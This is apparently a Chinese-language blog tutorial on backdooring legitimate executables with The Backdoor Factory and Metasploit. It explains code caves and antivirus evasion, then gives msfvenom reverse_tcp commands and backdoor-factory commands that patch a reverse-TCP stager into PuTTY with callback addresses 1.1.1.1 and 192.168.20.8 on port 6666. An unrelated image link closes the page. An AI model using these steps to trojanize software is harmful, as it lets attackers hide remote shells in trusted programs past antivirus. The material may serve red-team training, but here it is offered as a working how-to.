Patch
● 通过替换EXE、DLL、注册表等方法修复系统漏洞或问题的方法
 ● BDF:向二进制文件中增加或者删除代码内容
 ○ 某些受保护的二进制程序无法patch
 ○ 存在一定概率文件会被patch坏掉
后门工厂
● 适用于windows PE x32/x64和Linux ELF x32/x64(OSX)
 ● 支持msf payload、自定义payload
● 将shellcode代码patch进模板文件,躲避AV检查
 ● Python语言编写
Msf使用patch方法
● 覆盖程序入口
msfvenom -p windows/shell/reverse_tcp ......
 
● 创建新的线程执行shellcode并跳回原程序入口
msfvenom -p windows/shell/reverse_tcp -k
 
● 增加代码片段跳转执行后跳回源程序入口
CTP方法
● 增加新的代码段section,与MSF的-k方法类似
 ● 使用现有的代码裂缝/洞(code save)存放shellcode
代码洞
● 二进制文件中超过两个字节的连续x00区域(代码片段间区域)
 ● 根据统计判断代码洞是编译器在进行编译时造成的,不同的编译器造成代码洞的大小不同
 
● 单个代码洞大小不足以存放完整的shellcode
 ○ 多代码洞跳转(非顺序执行)
 ■ 初期免杀率可达100%
 ○ 结合msf的stager方法
 ● Patch选项
 ○ 附加代码段
 ○ 单代码洞注入
 ○ 多代码洞注入
BDF基本使用
准备
 首先我们先下载一个putty当作注入程序
 
● 检查二进制文件是否支持代码注入
backdoor-factory -f [软件路径] -S
 
● 显示可用的payload
backdoor-factory -f [软件路径] -S show
iat_reverse_tcp_stager_threaded
 
● 查看cave大小
backdoor-factory -f [软件路径] -c -l
 
免杀效果对比
backdoor-factory -f [软件路径] -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666
backdoor-factory -f [软件路径] -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666 -J
backdoor-factory -f [软件路径] -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -a -H 192.168.20.8 -P 6666
 
● 与veil-evasion集成
 ● Linux:backdoor-factory -f [软件路径] -s show
 ● IAT——import address table
 ○ 指针指向WinAPI地址,被称为thunks(形实转换程序),地址预定义

















![[附源码]java毕业设计医院门诊信息管理系统](https://img-blog.csdnimg.cn/b4c2bbdfa92644ecac538dc727d0f28b.png)
